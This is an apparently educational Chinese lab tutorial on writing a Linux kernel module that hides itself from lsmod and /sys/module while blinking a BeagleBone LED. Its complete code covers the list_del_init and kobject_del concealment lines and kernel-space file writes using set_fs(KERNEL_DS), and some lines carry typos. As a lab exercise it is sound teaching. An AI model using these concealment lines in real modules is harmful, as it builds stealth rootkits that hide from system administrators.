一、LKM(可加载内核模块)

LKM的全称为Loadable Kernel Modules,中文名为可加载内核模块,主要作用是用来扩展linux的内核功能。LKM的优点在于可以动态地加载到内存中,无须重新编译内核。由于LKM具有这样的特点,所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。当然因为其优点,也经常被骇客用于rootkit技术当中。

1.基本的LKM的编写

下面是一个最基本的LKM的实现,接下来对这个例子进行讲解

/*lkm.c*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

static int lkm_init(void)
{
printk("Arciryas:module loaded\n");
return 0;
}

static void lkm_exit(void)
{
printk("Arciryas:module removed\n");
}
module_init(lkm_init);
module_exit(lkm_exit);

这个程序并不是很复杂:其中lkm_init()是初始化函数,在该模块被加载时,这个函数被内核执行,有点构造函数的感觉;与之相对应的,lkm_init()是清除函数,当模块被卸载时,内核将执行该函数,有点类似析构函数的感觉,注意,如果一个模块未定义清除函数,则内核不允许卸载该模块。

为什么初始化与清除函数中,使用的是printk()函数,而并非是我们熟悉的printf()函数呢?注意下我们这个程序包含的头文件,在LKM中,是无法依赖于我们平时使用的C库的,模块仅仅被链接到内核,只可以调用内核所导出的函数,不存在可链接的函数库。这是内核编程与平时应用程序编程的不同之一。printk()函数将内容纪录在系统日志文件里,当然也可以用printk()将信息输出至控制台:

printk(KERN_ALERT "output messages");

其中KERN_ALERT指定了消息的优先级。

module_init和module_exit是内核的特殊宏,需要利用这两个特殊宏告诉内核,定义的初始化函数和清除函数分别是什么。

代码的描述就到这里,接下来需要对LKM程序进行编译,下面是编译所需的Makefile:

obj-m   := lkm.o

KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

default:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

注:奉上特别详细的​​Makefile详解​​。

接下来键入make命令开始编译,除去编译的中间产物外,仅仅需要的是lkm.ko。

装载LKM需要insmod命令。键入:

insmod lkm.ko

回车,这时会发现什么都没有发生,没有关系,这是因为并没有对于消息指定KERN_ALERT优先级,此时printk将消息传输到了系统日志syslog中,可以在/var/log/messages中查看,当然,在不同的发行版以及不同的syslog配置中,该文件的路径不同。可以cat /var/log/messages或者利用dmesg命令查看printk输出的消息,如下图所示:

【嵌入式实验】编写linux内核级的rookit_内核空间

为了方便起见这里只显示了最后一条信息,也就是LKM中初始化函数所输出的信息。

再输入lsmod命令查看加载的内核模块。lsmod命令的作用是显示已载入系统的模块。如下图

【嵌入式实验】编写linux内核级的rookit_内核空间_02

其中lkm当然是模块名称,676则代表的是模块大小,0表示模块的被使用次数。

OK,现在可以对LKM进行卸载了,卸载LKM的命令是rmmod。键入

rmmod lkm.ko

后,再查看下系统日志:

【嵌入式实验】编写linux内核级的rookit_内核空间_03

可以看出清除函数中的信息也成功输出,这时再试试lsmod命令,你会发现模块在其中不复存在了。

2.lsmod命令中隐藏我们的模块

现在有个小问题,如果既不想让dmesg也不想让lsmod这两个命令察觉到编写的模块呢?对于rootkit来说,隐蔽性是非常重要的,一个lsmod命令就可以让lkm遁形,这显然谈不上隐蔽。对于dmesg命令,只要删除掉printk()函数就好,这个函数所起的仅仅是示范作用。但是如何让lsmod命令无法显示隐藏的模块呢。

在这里简单介绍下lsmod原理。lsmod命令是通过/proc/modules来获取当前系统模块信息的。而/proc/modules中的当前系统模块信息是内核利用struct modules结构体的表头遍历内核模块链表、从所有模块的struct module结构体中获取模块的相关信息来得到的。结构体struct module在内核中代表一个内核模块。通过insmod(实际执行init_module系统调用)把自己编写的内核模块插入内核时,模块便与一个 struct module结构体相关联,并成为内核的一部分,所有的内核模块都被维护在一个全局链表中,链表头是一个全局变量struct module *modules。任何一个新创建的模块,都会被加入到这个链表的头部,通过modules->next即可引用到。为了让模块在lsmod命令中的输出里消失掉,需要在这个链表内删除自己的模块:

list_del_init(&__this_module.list);

现在将"list_del_init(&__this_module.list);"加入到初始化函数中,保存,编译,装载模块,再输入lsmod,这时你会发现,输出中模块已经找不到了,在lsmod命令中成功的隐藏了编写的模块!


3.sysfs中隐藏我们的模块

当然还不能高兴的太早,除了lsmod命令和相对应的查看/proc/modules以外,管理人员还可以在sysfs中,也就是通过查看/sys/module/目录来发现现有的模块。

‍这个问题也很好解决,在初始化函数中添加一行代码即可解决问题:

kobject_del(&THIS_MODULE->mkobj.kobj);

sysfs是一种基于ram的文件系统,它提供了一种用于向用户空间展现内核空间里的对象、属性和链接的方法。sysfskobject层次紧密相连,它将kobject层次关系表现出来,使得用户空间可以看见这些层次关系。通常,sysfs是挂在在/sys目录下的,而/sys/module是一个sysfs的一个目录层次, 包含当前加载模块的信息通过kobject_del()函数删除当前模块的kobject就可以起到在/sys/module中隐藏lkm的作用。

好了,这时再将"kobject_del(&THIS_MODULE->mkobj.kobj);"也添加在初始化函数里,保存,编译,装载模块,然后再去看看/sys/module,是不是什么也看不到了?

二、内核读写文件

为了能够控制嵌入式系统的LED灯,必须能够在内核对控制文件进行操控,那么下面将讲述如何在内核中读写文件。

在用户态,读写文件可以通过read和write这两个系统调用来完成(C库函数实际上是对系统调用的封装)。 但是,在内核态没有这样的系统调用,又该如何读写文件呢?

用户态的read和write内核执行的是实际执行的是sys_read和sys_write这两个函数,但是这两个函数没有使用EXPORT_SYMBOL导出,也就是说其他模块不能使用。

filp_open函数也是调用了do_filp_open函数,并且接口和sys_open函数极为相似,调用参数也和sys_open一样,并且使用EXPORT_SYMBOL导出了,所以该函数可以打开文件,功能和open一样。

使用同样的方法,找出了一组在内核操作文件的函数,如下:


功能



函数原型



打开文件



struct file *filp_open(const char *filename, int flags, int mode)



读文件



ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)



写文件



ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)



关闭文件



int filp_close(struct file *filp, fl_owner_t id)


2. 内核空间与用户空间

在vfs_read和vfs_write函数中,其参数buf指向的用户空间的内存地址,如果直­接使用内核空间的指针,则会返回-EFALUT。这是因为使用的缓冲区超过了用户空间的地址范围。一般系统调用会要求使用的缓冲区不能在​​内核​​区。这个可以用set_fs()、get_fs()来解决。

在include/asm/uaccess.h中,有如下定义:

#define MAKE_MM_SEG(s) ((mm_segment_t) { (s) })

#define KERNEL_DS MAKE_MM_SEG(0xFFFFFFFF)

#define USER_DS MAKE_MM_SEG(PAGE_OFFSET)

#define get_ds() (KERNEL_DS)

#define get_fs() (current->addr_limit)

#define set_fs(x) (current->addr_limit = (x))

如果使用,如下:

mm_segment_t fs = get_fs();

set_fs(KERNEL_FS);

//vfs_write();

vfs_read();

set_fs(fs);

详尽解释:系统调用本来是提供给用户空间的程序访问的,所以,对传递给它的参数(比如上面的buf),它默认会认为来自用户空间,在read或write()函数中,为了保护内核空间,一般会用get_fs()得到的值来和USER_DS进行比较,从而防止用户空间程序“蓄意”破坏内核空间;而现在要在内核空间使用系统调用,此时传递给read或write()的参数地址就是内核空间的地址了,在USER_DS之上(USER_DS ~ KERNEL_DS),如果不做任何其它处理,在write()函数中,会认为该地址超过了USER_DS范围,所以会认为是用户空间的“蓄意破坏”,从而不允许进一步的执行;为了解决这个问题; set_fs(KERNEL_DS);将其能访问的空间限制扩大到KERNEL_DS,这样就可以在内核顺利使用系统调用了!

我们注意到在vfs_read和vfs_write函数中,其参数buf指向的用户空间的内存地址,如果我们直接使用内核空间的指针,则会返回-EFALUT。所以我们需要使用

set_fs()和get_fs()宏来改变内核对内存地址检查的处理方式,所以在内核空间对文件的读写流程为:

mm_segment_tfs = get_fs();

set_fs(KERNEL_FS);

//vfs_write();

vfs_read();

set_fs(fs);

下面为一个在内核中对文件操作的例子:

#include <linux/module.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/uaccess.h>


static charbuf[] ="你好";
static charbuf1[10];


int __inithello_init(void)
{
struct file *fp;
mm_segment_t fs;
loff_t pos;

printk("hello enter/n");
fp = filp_open("/home/niutao/kernel_file",O_RDWR | O_CREAT,0644);
if (IS_ERR(fp)){
printk("create file error/n");
return -1;
}

fs = get_fs();
set_fs(KERNEL_DS);
pos =0;
vfs_write(fp, buf, sizeof(buf), &pos);
pos =0;

vfs_read(fp, buf1, sizeof(buf), &pos);
printk("read: %s/n",buf1);
filp_close(fp,NULL);
set_fs(fs);
return 0;
}

void __exithello_exit(void)
{
printk("hello exit/n");
}

module_init(hello_init);
module_exit(hello_exit);

MODULE_LICENSE("GPL");

三、C编程控制GPIO

LED灯每秒闪亮1次共5次实验

编写如下程序,这里循环5次,你可以根据自己喜欢改多几次,主要是多感受一次,熟悉下相关函数。

#include <stdio.h>
#include <unistd.h>
#define GPIO_DIR "/sys/class/gpio/gpio60/"
int main()
{
FILE *stream=NULL;
int i=0;

stream=fopen(GPIO_DIR"direction","r+"); /*读写模式打开direction*/
fwrite("out",sizeof(char),3,stream); /*设置为输出模式*/
fclose(stream);

for (i=0;i<5;i++)
{
stream=fopen(GPIO_DIR"value","r+");
fwrite("1",sizeof(char),1,stream); /*输出高电平1,二极管灯亮*/
sleep(1); /*延时一秒*/
fclose(stream);

stream=fopen(GPIO_DIR"value","r+");
fwrite("0",sizeof(char),1,stream); /*输出低电平0,二极管灯灭*/
sleep(1); /*延时一秒*/
fclose(stream);
}
return 0;
}

四、设计一个能够每三秒开关一次LED灯的内核级Rookit

这里我们最关键的是设计一个内核级的rookit,即一段代码,隐藏自己的模块信息。

从前面我们知道,需要在初始化函数中,加上这两条即可。

list_del_init(&__this_module.list);     //从lsmod列表中删除本模块节点
kobject_del(&THIS_MODULE->mkobj.kobj); //从/sys/module文件中删除本模块记录

 下面看Rookit的基本写法,因为是在内核级的,所以整体上是一个LKM(即可加载内核模块)。

参考二中的示例。

我们得到一个基本的写法流程:

//引用头文件
#include <linux/module.h>
...
//定义全局变量(可以写进init函数)
static charbuf[] ="你好";
static charbuf1[10];
//init函数
static int __init hello_init(void)
{ //文件读写,创建文件指针
struct file *fp;
mm_segment_t fs;
loff_t pos;
//打开文件
fp = filp_open("/home/niutao/kernel_file",O_RDWR | O_CREAT,0644);
//O_RDWR读写操作 | O_CREAT 不存在则创建
if (IS_ERR(fp)){
printk("create file error/n");
return -1;
}

fs = get_fs();
set_fs(KERNEL_DS); //将访问空间限制扩大到内核空间
pos =0; //pos变量必须初始化
vfs_write(fp, buf, sizeof(buf), &pos); //写
pos =0;
vfs_read(fp, buf1, sizeof(buf), &pos); //读
printk("read: %s/n",buf1);
filp_close(fp,NULL); //关闭文件
set_fs(fs);
return 0;
}

void __exithello_exit(void)
{
printk("hello exit/n");
}
module_init(hello_init);
module_exit(hello_exit);

MODULE_LICENSE("GPL");

最终实现内核级Rookit实现控制LED灯泡闪烁效果可运行代码:

/*rookit.c*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/list.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/delay.h>
//文件路径
#define GPIO_DIR "/sys/class/gpio/gpio60/direction"
#define GPIO_VUE "/sys/class/gpio/gpio60/value"


static int __init rookit_init(void)
{
//隐藏lsmod和module信息
list_del_init(&__this_module.list);
kobject_del(&THIS_MODULE->mkobj.kobj);


//定义常量
static char buf[]="out";
char buf1[]="1";
char buf2[]="0";

//定义文件
struct file *fp;
mm_segment_t fs;
loff_t pos;


int i =1;
for( ;i<5;i++)
{
//設置direction
fp = filp_open(GPIO_DIR,O_RDWR,0);
if(IS_ERR(fp)){ //失败
printk("create file error/n");
return -1;
}
fs =get_fs();
set_fs(KERNEL_DS);//设置内核级合法访问


pos =fp->f_pos;//pos初始化
vfs_write(fp,buf,sizeof(buf),&pos); //写入文件
fp->f_pos = pos;

set_fs(fs);
filp_close(fp,NULL);

//設置value>1
fp = filp_open(GPIO_VUE,O_RDWR,0);
if (IS_ERR(fp)){ //失败
printk("create file error/n");
return -1;
}
fs =get_fs();
set_fs(KERNEL_DS);//

pos =fp->f_pos;
vfs_write(fp,buf1,sizeof(buf1),&pos);
fp->f_pos = pos;
set_fs(fs);
filp_close(fp,NULL);

//設置3秒等待延迟
msleep(3000);

//設置value>0
fp = filp_open(GPIO_VUE,O_RDWR,0);
if (IS_ERR(fp)){ //失败
printk("create file error/n");
return -1;
}
fs =get_fs();
set_fs(KERNEL_DS);//

pos =fp->f_pos;
vfs_write(fp,buf2,sizeof(buf1),&pos);
fp->f_pos = pos;
set_fs(fs);
filp_close(fp,NULL);

//設置3秒等待延迟
ssleep(3);
}

return 0;

}


static void __exit rookit_exit(void)
{
//printk("Arciryas:module removed\n");
}

module_init(rookit_init);
module_exit(rookit_exit);


MODULE_LICENSE("GPL"); //模块许可证申明

注:模块许可证声明。

执行上述代码(rookit.c)。

首先修改Makefile文件中的链接对象为需要执行的代码文件名(后缀为.o)

obj-m   := rookit.o

KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

default:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

然后make编译。(这里有个警告,问题不大,忽略掉。)

root@beaglebone:~# make
make -C /lib/modules/4.4.9-ti-r25/build SUBDIRS=/root modules
make[1]: Entering directory '/usr/src/linux-headers-4.4.9-ti-r25'
CC [M] /root/rookit.o
/root/rookit.c: In function 'rookit_init':
/root/rookit.c:28:5: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
struct file *fp;
^
Building modules, stage 2.
MODPOST 1 modules
CC /root/rookit.mod.o
LD [M] /root/rookit.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.4.9-ti-r25'

然后加载模块:

insmod rookit.ko

事先连接好电路的话,可以看到灯泡已经间歇性亮了。

【嵌入式实验】编写linux内核级的rookit_linux_04

查看已加载内核的模块:(未发现我们的rookit,因为我们隐藏掉了)

【嵌入式实验】编写linux内核级的rookit_内核空间_05

查看日志和模块文件目录:

【嵌入式实验】编写linux内核级的rookit_linux_06

至此完成首次内核级Rookit的编写。